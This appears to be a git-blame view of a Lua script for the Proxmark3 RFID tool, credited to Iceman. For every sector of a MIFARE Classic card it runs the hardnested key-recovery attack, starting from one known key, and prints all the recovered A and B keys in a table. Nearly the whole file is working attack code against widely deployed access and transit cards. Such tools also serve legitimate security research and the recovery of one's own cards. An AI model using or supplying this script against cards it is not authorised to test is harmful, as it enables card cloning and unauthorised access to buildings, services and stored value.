b946d5f7 |
1 | local cmds = require('commands') |
2 | local getopt = require('getopt') |
3 | local utils = require('utils') |
4 | local lib14a = require('read14a') |
5 | |
6 | example = "script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys." |
7 | author = "Iceman" |
8 | desc = |
9 | [[ |
10 | This script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys. |
11 | |
12 | Arguments: |
13 | -k Known key, 6 bytes (12 hex digits) |
14 | -a key A |
15 | -b key B |
16 | -s Blocknumber for known key |
17 | Examples : |
18 | script hard -k 112233445566 |
19 | ]] |
20 | |
21 | local numBlocks = 64 |
22 | local numSectors = 16 |
23 | local DEBUG = TRUE |
24 | --- |
25 | -- A debug printout-function |
26 | function dbg(args) |
27 | if not DEBUG then return end |
28 | |
29 | if type(args) == "table" then |
30 | local i = 1 |
31 | while result[i] do |
32 | dbg(result[i]) |
33 | i = i+1 |
34 | end |
35 | else |
36 | print("###", args) |
37 | end |
38 | end |
39 | --- |
40 | -- This is only meant to be used when errors occur |
41 | function oops(err) |
42 | print("ERROR: ",err) |
43 | return nil,err |
44 | end |
45 | --- |
46 | -- Usage help |
47 | function help() |
48 | print(desc) |
49 | print("Example usage") |
50 | print(example) |
51 | end |
52 | -- |
53 | -- Exit message |
54 | function ExitMsg(msg) |
55 | print( string.rep('--',20) ) |
56 | print( string.rep('--',20) ) |
57 | print(msg) |
58 | print() |
59 | end |
60 | -- A little helper to place an item first in the list |
61 | local function placeFirst(akey, list) |
62 | akey = akey:lower() |
63 | if list[1] == akey then |
64 | -- Already at pole position |
65 | return list |
66 | end |
67 | local result = {akey} |
68 | --print(("Putting '%s' first"):format(akey)) |
69 | for i,v in ipairs(list) do |
70 | if v ~= akey then |
71 | result[#result+1] = v |
72 | end |
73 | end |
74 | return result |
75 | end |
76 | -- A function to display the results |
77 | -- TODO: iceman 2016, still screws up output when a key is not found. |
78 | local function displayresults(results) |
79 | local sector, blockNo, keyA, keyB, succA, succB, _ |
80 | |
81 | print("|---|----------------|---|----------------|---|") |
82 | print("|sec|key A |res|key B |res|") |
83 | print("|---|----------------|---|----------------|---|") |
84 | |
85 | for sector,_ in pairs(results) do |
86 | succA, succB, keyA, keyB = unpack(_) |
87 | print(("|%03d| %s | %s | %s | %s |"):format(sector, keyA, succA, keyB, succB)) |
88 | end |
89 | print("|---|----------------|---|----------------|---|") |
90 | |
91 | end |
92 | |
93 | --[[ |
94 | The mifare Classic 1k card has 16 sectors of 4 data blocks each. |
95 | The first 32 sectors of a mifare Classic 4k card consists of 4 data blocks and the remaining |
96 | 8 sectors consist of 16 data blocks. |
97 | --]] |
98 | local function GetTargetBlockNo(sector) |
99 | local trgblockno = sector * 4 - 1 |
100 | if sector > 32 then |
101 | trgblockno = 32 * 4 + (sector-32) * 16 -1 |
102 | end |
103 | return ("%02x"):format(trgblockno) |
104 | end |
105 | |
106 | --- |
107 | -- The main entry point |
108 | function main(args) |
109 | |
110 | local blockno = '00' |
111 | local keytype |
112 | local key = 'fc00018778f7' |
113 | local trgkey = '' |
114 | local numSectors = 16 |
115 | |
116 | -- Read the parameters |
117 | for o, a in getopt.getopt(args, 'hk:abs:') do |
118 | if o == "h" then return help() end |
119 | if o == "k" then key = a end |
120 | if o == "a" then keytype = '0' end |
121 | if o == "b" then keytype = '1' end |
122 | if o == "s" then blockno = a end |
123 | end |
124 | |
125 | keytype = keytype or '0' |
126 | |
127 | -- Turn off Debug |
128 | local cmdSetDbgOff = "hf mf dbg 0" |
129 | core.console( cmdSetDbgOff) |
e069d740 |
130 | core.clearCommandBuffer() |
b946d5f7 |
131 | -- identify tag |
132 | result, err = lib14a.read1443a(false) |
e069d740 |
133 | if not result then return oops(err) end |
134 | |
b946d5f7 |
135 | -- Show tag info |
136 | print((' Found tag %s'):format(result.name)) |
137 | |
138 | if 0x18 == result.sak then --NXP MIFARE Classic 4k | Plus 4k |
139 | -- IFARE Classic 4K offers 4096 bytes split into forty sectors, |
140 | -- of which 32 are same size as in the 1K with eight more that are quadruple size sectors. |
141 | numSectors = 40 |
142 | elseif 0x08 == result.sak then -- NXP MIFARE CLASSIC 1k | Plus 2k |
143 | -- 1K offers 1024 bytes of data storage, split into 16 sector |
144 | numSectors = 16 |
145 | elseif 0x09 == result.sak then -- NXP MIFARE Mini 0.3k |
146 | -- MIFARE Classic mini offers 320 bytes split into five sectors. |
147 | numSectors = 5 |
148 | elseif 0x10 == result.sak then-- "NXP MIFARE Plus 2k" |
149 | numSectors = 32 |
150 | else |
151 | print("I don't know how many sectors there are on this type of card, defaulting to 16") |
152 | end |
153 | |
154 | result = {} |
155 | for sector=1,numSectors do |
156 | |
157 | local trgblockno = GetTargetBlockNo(sector) |
158 | local succA = 1 |
159 | local succB = 1 |
160 | local keyA = '' |
161 | local keyB = '' |
162 | |
163 | for targetkeytype=0,1 do |
164 | |
165 | -- skip first sector, KeyA... |
166 | -- or actually blockNo and keytype |
167 | -- just try default for now |
168 | if sector == 1 and targetkeytype == 0 then |
e069d740 |
169 | keyA = utils.ConvertHexToAscii(key) |
b946d5f7 |
170 | else |
171 | local err, foundkey = core.hardnested(blockno, keytype, key, trgblockno, tostring(targetkeytype), trgkey, 0,0,0,0) |
172 | foundkey = foundkey or "" |
173 | |
174 | if targetkeytype == 0 then |
175 | if err == nil or err > 0 then succA = 0 else keyA = foundkey end |
176 | else |
177 | if err == nil or err > 0 then succB = 0 else keyB = foundkey end |
178 | end |
179 | end |
180 | |
181 | -- clearing BigBuff between hardnested executions seems to make it more stable. |
182 | core.clearCommandBuffer() |
183 | core.console('data buffclear') |
184 | end |
185 | -- Check if user aborted |
186 | if core.ukbhit() then |
187 | print("Aborted by user") |
188 | break |
189 | end |
190 | -- log |
191 | result[sector] = { succA, succB, utils.ConvertAsciiToHex(keyA), utils.ConvertAsciiToHex(keyB) } |
192 | end |
193 | displayresults(result) |
194 | end |
195 | |
196 | main(args) |